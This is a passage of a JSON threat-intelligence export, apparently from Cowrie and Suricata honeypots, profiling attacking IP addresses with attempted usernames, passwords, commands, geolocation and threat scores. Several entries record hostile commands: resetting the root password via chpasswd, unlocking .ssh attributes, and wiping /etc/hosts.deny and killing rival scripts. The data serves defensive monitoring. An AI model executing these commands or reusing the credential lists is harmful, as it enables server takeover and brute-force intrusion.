      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "aroot",
        "developer",
        "elearn",
        "gateway",
        "nikhil",
        "vastbase"
      ],
      "passwords_attempted": [
        "1234",
        "12345",
        "3245gs5662d34",
        "345gs5662d34",
        "Aa@121212",
        "Developer123",
        "Gateway123!",
        "P@ssw0rd01",
        "abcd1234#",
        "aroot123",
        "exxact@1",
        "password"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:stwxK0o0JuY4\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Romania",
      "country_code": "RO",
      "city": "Ploie\u015fti",
      "asn": 48874,
      "as_org": "Hostmaze Inc Srl-d",
      "threat_score": 8.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 148,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-08T18:55:13.022000+00:00",
        "last_seen_30d": "2026-03-08T19:13:44.058000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 118,
        "Suricata": 30
      }
    },
    "94.206.56.70": {
      "attack_count": 114,
      "first_seen": "2026-03-03T05:31:28.910Z",
      "last_seen": "2026-03-03T06:04:26.085Z",
      "sessions": 18,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin1"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1233218613",
        "123456Aa.",
        "6yhn^YHN",
        "Cloud@2025",
        "Hm123456@",
        "Mr123456",
        "Zhu12345",
        "Zj123456@",
        "ch123456",
        "qwerty123123",
        "welcome@2024"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params",
        "cowrie.command.failed"
      ],
      "country": "United Arab Emirates",
      "country_code": "AE",
      "city": null,
      "asn": 15802,
      "as_org": "Emirates Integrated Telecommunications Company PJSC",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 22.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 157,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T05:31:28.910000+00:00",
        "last_seen_30d": "2026-03-03T06:05:27.709000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 114,
        "Suricata": 43
      }
    },
    "43.160.210.225": {
      "attack_count": 108,
      "first_seen": "2026-03-31T04:53:27.921Z",
      "last_seen": "2026-03-31T05:34:35.079Z",
      "sessions": 10,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "!QAZ2wsx",
        "1qazxsw@",
        "3245gs5662d34",
        "345gs5662d34",
        "Admin2026!",
        "Dragon@123",
        "hengbing1314520",
        "hz1234567",
        "shanidc123",
        "tgbrfvedcwsxqaz"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:ij6mLQHMMrCi\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 34.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 136,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-31T04:53:27.921000+00:00",
        "last_seen_30d": "2026-03-31T05:35:39.088000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 108,
        "Suricata": 28
      }
    },
    "134.199.164.144": {
      "attack_count": 89,
      "first_seen": "2026-03-10T05:25:43.903Z",
      "last_seen": "2026-03-10T05:49:36.528Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "1234",
        "12345",
        "123456",
        "12345678",
        "admin",
        "docker",
        "password",
        "qwerty",
        "raspberry",
        "root",
        "ubuntu"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Sydney",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 10.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 20.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 120,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T05:25:43.903000+00:00",
        "last_seen_30d": "2026-03-10T05:50:42.914000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 89,
        "Suricata": 31
      }
    },
    "101.47.48.138": {
      "attack_count": 86,
      "first_seen": "2026-03-02T14:24:15.272Z",
      "last_seen": "2026-03-02T15:09:15.443Z",
      "sessions": 9,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "5tgbNHY^",
        "Oracle@123456",
        "Xy123456@",
        "adminroot",
        "zxcvbnm1234567"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "echo \"root:JVC09nmMf84d\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname -m",
        "w",
        "which ls"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 150436,
      "as_org": "Byteplus Pte. Ltd.",
      "threat_score": 3.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 20.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 110,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T14:24:15.272000+00:00",
        "last_seen_30d": "2026-03-02T15:10:23.341000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 86,
        "Suricata": 24
      }
    },
    "158.180.72.73": {
      "attack_count": 78,
      "first_seen": "2026-03-02T21:33:08.962Z",
      "last_seen": "2026-03-02T22:19:43.067Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "1233218613",
        "3245gs5662d34",
        "Cloud@1234",
        "Test12!@"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:c3PwzHplRD4O\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Chuncheon",
      "asn": 31898,
      "as_org": "Oracle Corporation",
      "threat_score": 3.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 19.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 89,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T21:33:08.962000+00:00",
        "last_seen_30d": "2026-03-02T22:20:48.925000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 78,
        "Suricata": 11
      }
    },
    "137.59.230.200": {
      "attack_count": 50,
      "first_seen": "2026-03-20T11:55:29.930Z",
      "last_seen": "2026-03-20T12:01:01.388Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Lahore",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 20.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-20T11:55:29.930000+00:00",
        "last_seen_30d": "2026-03-20T12:02:05.363000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "39.187.126.220": {
      "attack_count": 50,
      "first_seen": "2026-03-31T22:15:04.538Z",
      "last_seen": "2026-03-31T22:20:29.198Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Ningbo",
      "asn": 56041,
      "as_org": "China Mobile communications corporation",
      "threat_score": 31.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-31T22:15:04.538000+00:00",
        "last_seen_30d": "2026-03-31T22:21:37.990000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "66.167.169.32": {
      "attack_count": 50,
      "first_seen": "2026-03-16T13:15:07.908Z",
      "last_seen": "2026-03-16T13:20:32.360Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Lahore",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 15.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-16T13:15:07.908000+00:00",
        "last_seen_30d": "2026-03-16T13:21:39.092000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "107.170.39.121": {
      "attack_count": 30,
      "first_seen": "2026-03-03T08:05:53.044Z",
      "last_seen": "2026-03-03T08:08:54.621Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "1",
        "12",
        "123",
        "root"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.command.input",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Secaucus",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 2.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 42,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T08:05:46.804000+00:00",
        "last_seen_30d": "2026-03-03T08:10:04.558000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 30,
        "Suricata": 12
      }
    },
    "209.38.21.86": {
      "attack_count": 30,
      "first_seen": "2026-03-02T21:11:12.389Z",
      "last_seen": "2026-03-02T21:16:49.061Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "123456",
        "admin",
        "password",
        "root"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.command.input",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Sydney",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 2.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 43,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T21:10:25.880000+00:00",
        "last_seen_30d": "2026-03-02T21:17:50.699000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 30,
        "Suricata": 13
      }
    },
    "39.87.15.3": {
      "attack_count": 28,
      "first_seen": "2026-03-26T16:13:58.386Z",
      "last_seen": "2026-03-26T16:16:59.852Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 24.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 16.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 43,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-26T16:13:58.386000+00:00",
        "last_seen_30d": "2026-03-26T16:18:06.215000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 28,
        "Suricata": 15
      }
    },
    "222.134.163.89": {
      "attack_count": 26,
      "first_seen": "2026-03-31T06:41:21.131Z",
      "last_seen": "2026-03-31T06:44:09.628Z",
      "sessions": 13,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 28.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 16.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 40,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-31T06:41:21.131000+00:00",
        "last_seen_30d": "2026-03-31T06:45:13.814000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 26,
        "Suricata": 14
      }
    },
    "165.227.229.191": {
      "attack_count": 23,
      "first_seen": "2026-03-11T03:29:52.962Z",
      "last_seen": "2026-03-11T03:36:33.368Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "ubuntu",
        "okx"
      ],
      "passwords_attempted": [
        "okx",
        "qwer1234",
        "ubuntu"
      ],
      "commands_executed": [
        "/bin/./uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params",
        "cowrie.login.failed"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "Slough",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 9.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 34,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T03:26:07.430000+00:00",
        "last_seen_30d": "2026-03-11T03:37:36.117000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 23,
        "Suricata": 11
      }
    },
    "137.184.126.39": {
      "attack_count": 20,
      "first_seen": "2026-03-04T13:58:59.386Z",
      "last_seen": "2026-03-04T14:00:31.668Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "admin",
        "root"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 2.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 28,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T13:58:15.568000+00:00",
        "last_seen_30d": "2026-03-04T14:01:35.559000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 20,
        "Suricata": 8
      }
    },
    "152.32.226.203": {
      "attack_count": 20,
      "first_seen": "2026-03-24T12:26:44.729Z",
      "last_seen": "2026-03-24T12:27:11.157Z",
      "sessions": 9,
      "ports": [],
      "usernames_attempted": [
        "Accept: */*",
        "GET / HTTP/1.1"
      ],
      "passwords_attempted": [
        "",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 78.2,
      "threat_level": "high",
      "score_components": {
        "frequency": 23.8,
        "persistence": 19.2,
        "diversity": 18,
        "spread": 20,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 238,
        "days_active_30d": 23,
        "ports_targeted_30d": 9,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-08T10:26:52+00:00",
        "last_seen_30d": "2026-03-30T20:46:09.364000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 108,
        "Honeytrap": 62,
        "Miniprint": 48,
        "Cowrie": 20
      }
    },
    "8.163.58.122": {
      "attack_count": 18,
      "first_seen": "2026-03-19T12:20:02.208Z",
      "last_seen": "2026-03-19T12:24:52.922Z",
      "sessions": 9,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Guangzhou",
      "asn": 37963,
      "as_org": "Hangzhou Alibaba Advertising Co.,Ltd.",
      "threat_score": 16.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 30,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-19T12:20:02.208000+00:00",
        "last_seen_30d": "2026-03-19T12:25:59.087000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 18,
        "Suricata": 12
      }
    },
    "42.227.203.4": {
      "attack_count": 12,
      "first_seen": "2026-03-18T22:32:19.676Z",
      "last_seen": "2026-03-18T22:33:37.202Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 14.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 19,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-18T22:32:19.676000+00:00",
        "last_seen_30d": "2026-03-18T22:34:38.270000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 12,
        "Suricata": 7
      }
    },
    "116.176.75.120": {
      "attack_count": 11,
      "first_seen": "2026-03-19T04:45:47.343Z",
      "last_seen": "2026-03-19T04:47:56.530Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "------fuck------"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 15.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 18,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-19T04:45:47.343000+00:00",
        "last_seen_30d": "2026-03-19T04:58:04.573000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 11,
        "Suricata": 7
      }
    },
    "118.163.132.211": {
      "attack_count": 10,
      "first_seen": "2026-03-25T16:07:55.134Z",
      "last_seen": "2026-03-25T16:12:20.046Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "cassandra",
        "old"
      ],
      "passwords_attempted": [
        "cassandra",
        "old"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "Taipei",
      "asn": 3462,
      "as_org": "Data Communication Business Group",
      "threat_score": 19.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 15,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-25T16:07:55.134000+00:00",
        "last_seen_30d": "2026-03-25T16:13:20.930000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 5
      }
    },
    "209.38.84.251": {
      "attack_count": 10,
      "first_seen": "2026-03-15T19:37:33.467Z",
      "last_seen": "2026-03-16T11:14:51.173Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Sydney",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 14.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.5,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 28,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-15T19:37:33.467000+00:00",
        "last_seen_30d": "2026-03-16T11:15:52.530000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Suricata": 18,
        "Cowrie": 10
      }
    },
